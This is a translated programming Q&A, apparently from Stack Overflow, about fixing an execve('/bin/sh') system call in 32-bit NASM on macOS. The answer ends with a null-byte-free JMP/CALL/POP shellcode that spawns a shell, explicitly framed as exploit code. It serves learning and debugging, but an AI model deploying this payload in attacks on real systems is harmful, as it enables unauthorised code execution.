为什么系统调用不起作用?

Kik*_*777 2 macos x86 assembly nasm shellcode

我在MAC OSX上,我试图通过程序集调用execve系统调用..他的操作码是59.在linux中我必须将操作码设置为eax,然后将参数设置到其他寄存器中,但在这里我必须将操作码放入eax并将参数从右向左推入堆栈.

所以我需要execve("/ bin/sh",NULL,NULL),我发现某个地方有程序集null = 0,所以我将null放入第二和第三个参数.

global start 
section .text
start:
    jmp string
main: 
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    pop ebx             ;stringa
    push 0x0            ;3rd param
    push 0x0            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    int 0x80
string:
    call main
    db '/bin/sh',0
Run Code Online (Sandbox Code Playgroud)

当我尝试执行它时说:系统调用错误:12

Mic*_*tch 8

如果您打算直接调用,BSD上的32位程序(OS/X所基于的)需要您将额外的4个字节压入堆栈int 0x80.从FreeBSD文档中你会发现:

默认情况下,FreeBSD内核使用C调用约定.此外,尽管使用int 80h访问内核,但假设程序将调用一个发出int 80h的函数,而不是直接发出int 80h.

[剪断]

但汇编语言程序员喜欢削减周期.上面的例子需要一个call/ret组合.我们可以通过推送额外的双字来消除它:

open:
push    dword mode
push    dword flags
push    dword path
mov eax, 5
push    eax     ; Or any other dword
int 80h
add esp, byte 16
Run Code Online (Sandbox Code Playgroud)

在调用时,int 0x80您需要将堆栈指针调整为4.按下任何值都可以实现此目的.在这个例子中,他们只是做了一个push eax.在您int 0x80将4个字节压入堆栈之前的调用之前.

你的另一个问题是,add eax,0x3b例如要求EAX已经为零,这几乎不是这种情况.要解决此问题,请添加xor eax, eax代码.

修复程序可能类似于:

global start
section .text
start:
    jmp string
main:
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    xor eax, eax        ;zero EAX
    pop ebx             ;stringa
    push 0x0            ;3rd param
    push 0x0            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    push eax            ;Push a 4 byte value after parameters per calling convention
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    push eax            ;Push a 4 byte value after parameters per calling convention
                        ; in this case though it won't matter since the system call
                        ; won't be returning
    int 0x80
string:
    call main
    db '/bin/sh',0
Run Code Online (Sandbox Code Playgroud)

的Shellcode

您的代码实际上称为JMP/CALL/POP方法,用于编写漏洞利用程序.您是在撰写漏洞利用程序还是只是在线查找此代码?如果要将其用作shell代码,则需要避免在输出字符串中放入0x00字节.push 0x00将在生成的代码中编码0x00字节.为了避免这种情况,我们可以使用EAX,我们现在将其归零并将其推入堆栈.同样,你将无法终止字符串,因此你必须将NUL(0)字符移动到字符串中.将EAX归零并弹出EBX之后的一种方法是使用类似的方法手动将零移动到字符串的末尾mov [ebx+7], al.七是字符串结束后的索引/bin/sh.您的代码将如下所示:

global start
section .text
start:
    jmp string
main:
    ; 59 opcode
    ; int execve(char *fname, char **argp, char **envp);
    xor eax, eax        ;Zero EAX
    pop ebx             ;stringa
    mov [ebx+7], al     ;append a zero onto the end of the string '/bin/sh' 
    push eax            ;3rd param
    push eax            ;2nd param
    push ebx            ;1st param
    add eax,0x3b        ;execve opcode
    push eax
    int 0x80            ;interupt
    sub eax,0x3a        ; exit opcode
    push eax
    int 0x80
string:
    call main
    db '/bin/sh',1
Run Code Online (Sandbox Code Playgroud)